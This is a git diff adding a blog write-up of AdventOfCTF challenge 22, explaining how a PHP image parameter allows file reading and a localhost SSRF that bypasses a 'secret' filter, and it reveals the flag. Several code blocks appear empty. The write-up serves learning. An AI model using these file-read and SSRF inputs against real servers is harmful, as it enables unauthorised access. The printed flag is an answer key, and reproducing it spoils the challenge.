diff --git a/content/posts/adventofctf/challenge_22.md b/content/posts/adventofctf/challenge_22.md new file mode 100644 index 0000000..ab00b6e --- /dev/null +++ b/content/posts/adventofctf/challenge_22.md @@ -0,0 +1,233 @@ ++++ +author = "Maik de Kruif" +title = "Challenge 22 - AdventOfCTF" +date = 2021-03-04T01:24:34+01:00 +description = "A writeup for challenge 22 of AdventOfCTF." +cover = "img/adventofctf/6c0810c1568645bcf58da67a1db6e3e7.png" +tags = [ + "AdventOfCTF", + "challenge", + "ctf", + "hacking", + "writeup", + "web", + "php", + "ssrf", +] +categories = [ + "ctf", + "writeups", + "hacking", +] ++++ + +- Points: 2200 + +## Description + +We have a new service! You can view santa's favorite pictues. Currently there is only one, but it is a very good one! You can get the flag through flag.php. + +Visit https://22.adventofctf.com to start the challenge. + +## Recon + +Upon opening the challenge website, we're greeted with a link with the text "Is this santa?". If we click on it, it redirects to `/index.php?image=cat.jpg`. + +This page shows us a nice picture of a cat. + +## Finding the vulnerability + +When looking at this, you might think of Local File Inclusion (LFI). This makes sense as it is one of the most common vulnerability in opening files. + +We can try to use it to open `flag.php`. To try this, let's replace `cat.jpg` with `flag.php` in the URL. + +When opening the page, we will see a broken image, this is expected as the file it not an image. If we open the source we find the following: + +```html + +``` + +Here we see some `base64` encoded data, let's decode it using the following command: + +```bash +echo -n "PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo=" | base64 -d +``` + +```php + +``` + +If we look at this code, we see that if `check_secret()` contains `"allow"`, it will execute the `get_flag()` function (which will probably give us the flag). + +The functions are not defined in this file so they probably come from `secret.php`. Let's try to read that file. + +Alas, we get the cat picture again. That's weird. There might be a filter on the input. Let's verify that by reading the `index.php` file. + +Using the same decoding method, we get the following result: + +{{< code language="php" title="index.php" >}} + +```html + + + + + + Advent of CTF 22 + + + + + + + + +
+
+
+
+

+ Advent of CTF 22 +

+
+ Your daily dose of CTF for December +
+ +
+
+
+
+

The big reveal

+
+
+ + Is this santa? + '; + } ?> +
+
Almost there
+
+
+
+
+
+
+
+
+ +
+
+

+ + The Advent of CTF is brought to you by + NOVI Hogeschool. It + is built by + @credmp. If you are looking for a Dutch Cyber Security + Bachelor degree or bootcamp, + check us out. + +

+
+
+
+
+
+
+
+
+
+ + +``` + +{{< /code >}} + +Just the PHP part: + +```html + +Is this santa? +'; +} ?> +``` + +Here we see that we cannot get any file containing "secret". This means we have to find another way to get the flag. + +We see that this code is using the `file_get_contents()` function to open file. Let's have a look at the [PHP documentation for it](https://www.php.net/manual/en/function.file-get-contents.php). + +If we read a bit we find the following example usage: + +```php + +``` + +This means it can also open URLs and, since we control the input to the function, we have a Server-Side Request Forgery (SSRF) vulnerability. Let's try to use that to open the flag file. + +To test this, we can use the following input; `image=http://localhost/flag.php`. + +_Note: We can not use the `secret.php` file as any input containing "secret" is blocked._ + +We, again, got some base64 encoded data back, so let's decode it: + +```bash +echo -n "Tk9WSXthc2tpbmdfZm9yX2FfZnJpZW5kfQ==" | base64 -d +``` + +## Solution + +We got the flag! It is `NOVI{asking_for_a_friend}`. diff --git a/static/img/adventofctf/6c0810c1568645bcf58da67a1db6e3e7.png b/static/img/adventofctf/6c0810c1568645bcf58da67a1db6e3e7.png new file mode 100644 index 0000000..ccd176c Binary files /dev/null and b/static/img/adventofctf/6c0810c1568645bcf58da67a1db6e3e7.png differ